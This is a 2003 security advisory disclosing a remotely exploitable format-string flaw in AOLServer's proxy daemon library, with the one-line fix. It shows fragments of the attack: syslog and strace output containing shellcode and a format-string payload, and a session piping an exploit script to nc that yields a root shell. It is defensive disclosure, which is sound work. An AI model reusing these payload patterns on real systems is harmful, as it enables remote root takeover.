Secure Network Operations, Inc.           http://www.secnetops.com
Strategic Reconnaissance Team              research@secnetops.com
Team Lead Contact                      kf@secnetops.com


Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 


Quick Summary:
************************************************************************
Advisory Number    : SRT2003-04-04-1106
Product      : AOLServer Proxy Daemon API
Version      : 3.x - 4.0-beta4
Vendor      : aolserver.com 
Class      : Remote
Criticality             : Medium 
Operating System(s)  : *nix and win32


High Level Explanation
************************************************************************
High Level Description  : nspd/libnspd.a contains exploitable syslog() calls
What to do    : AOLserver staff has fixed this issue on 3/19/2002
The fix is listed in the original advisory that was provided by Intexxia 
http://www.securitytracker.com/alerts/2002/Apr/1004080.html


Technical Details
************************************************************************
Proof Of Concept Status : Secure Network Operations does have PoC code
Low Level Description  :

In an effort to discover a new vulnerability in the current codebase of 
AOLServer we stumbled across a previously discovered hole. Our path of 
research was 100% independant of the work INTEXXIA provided in April of 
2002. After fully documenting and exploiting this issue we had found that
INTEXXIA already contacted AOLServer staff and a fix was already available. 

Our testing against aolserver-4.0-beta1-src.tar.gz in early January. We 
found that nspd/log.c contained an unformatted syslog() call. 

gentoo nspd # pwd
/root/AOL/aolserver-4.0-beta1-src/nspd
gentoo nspd # grep -rn syslog\( log.c | grep -v \%
211:  syslog(priority, msgbuf);

At the time we were unaware this issue had been previously addressed. We 
continued to verify if this condition was exploitable by first creating
our own program that linked against libnspd.a. The conclusion of our 
testing was that we felt production systems could be impacted by this 
issue. In order to verify our theory we searched for public applications 
that link against libnspd.a. A few quick searches on Google turned up
several possible "External Proxy Daemon's" that were potentially up for 
attack. Among them were nssybpd (Sybase Proxy Daemon), nsibasepd
(Interbase Proxy Daemon), iupsd (Informix Proxy Daemon) as well as 
several others.  

If you use the RemoteHost method in configuring your Proxy Daemon it will 
listen on a port and be spawned via inetd or xinetd. Our testing was done 
with both nssybpd and nsibasepd listening via xinetd. Both were exploitable
to the extent of providing a remote shell. 

If your machine is attacked by this method you will see syslog entires that
are similar to the below output. 

Feb  9 22:07:58 src@vegeta
0000000000000000000000000000000000000000000000000000000000000000000000000...
0000000000000000000000000000000000000000000000000000000000000000000000000...
0000000000000000000000000000000000000000000000000000000000000000000000000...
000000000000000000000000000000000000000000000000000005406984831ÛØ°Íë1Û1É÷á[°
                                                         SRSáÍ°Íèåÿÿÿ/bin/sh
Feb  9 22:07:58 src@vegeta nssybpd.bin[3278]: Exiting.

Debugger output    :

Start a debugger against the proxy daemon on the machine to be attacked. 

vegeta # strace -vifp `ps -ef | grep nssyb | grep -v grep | awk '{print $2}'`
[40322ac4] read(0, "...F\'\5\10D\'\5\10%.1973d%19$hn%.8678d%"..., 32768) = 182
...
[40330162] send(3, "<27>Feb  9 22:07:58 nssybpd.bin["..., 10915, 0) = 10915
...
[400f4ac4] read(0, "i", 1)              = 1
[400f4ac4] read(0, "d", 1)              = 1
[400f4ac4] read(0, "\n", 1)             = 1
...
[400d4437] fork()                       = 3286

On the box I was attacking from I saw the following.

elguapo@frieza tmp $ id
uid=1000(elguapo) gid=100(users) groups=100(users)
elguapo@frieza tmp $ (./nssybpd-ex.pl;cat ) | nc vegeta 8199
id
uid=0(root) gid=0(root)
hostname
vegeta

Below is the information found in gdb after a crash.

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x401eabb6 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0  0x401eabb6 in vfprintf () from /lib/libc.so.6
#1  0x402767b2 in vsyslog () from /lib/libc.so.6
#2  0x4027661d in syslog () from /lib/libc.so.6
#3  0x0804d0d3 in Ns_PdLog (errtype=Error, format=0x8050c80 "GetMsg: Protocol Error, no
newline terminator for arglen of command: %s")
    at /home/gnachman/cvswork/aolserver/nspd/log.c:99
#4  0x0804d362 in GetMsg (buf=0x80529c0 "...AAAABBBB%x%x%x%x%x%x%x%x%x%x%n%n",
cmdName=0xbffffac4, cmdArg=0xbffffac0)
    at /home/gnachman/cvswork/aolserver/nspd/main.c:131
#5  0x0804d282 in PdMainLoop () at /home/gnachman/cvswork/aolserver/nspd/main.c:102
#6  0x0804d1a5 in Ns_PdMain (argc=1, argv=0xbffffb44) at
/home/gnachman/cvswork/aolserver/nspd/main.c:56
#7  0x0804975a in main (argc=1, argv=0xbffffb44) at nssybpd.c:106
#8  0x401b4e54 in __libc_start_main () from /lib/libc.so.6

There may also be other implications for "Internal" proxy daemons however we were only 
able to trigger this condition via "External" daemons. We have not yet concluded how 
this issue is present in the current AOLServer beta. We can only note that there IS 
a fix in the CVS archive. 

Patch or Workaround  : Change the syslog() call to include a format specifier. 
-            syslog(priority, msgbuf);
+            syslog(priority, "%s", msgbuf);

http://cvs.sf.net/cgi-bin/viewcvs.cgi/aolserver/aolserver/nspd/log.c.diff?r1=1.4&r2=1.4.6.1

Vendor Status    : Vendor has already addressed this problem 
Bugtraq URL    : to be assigned

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.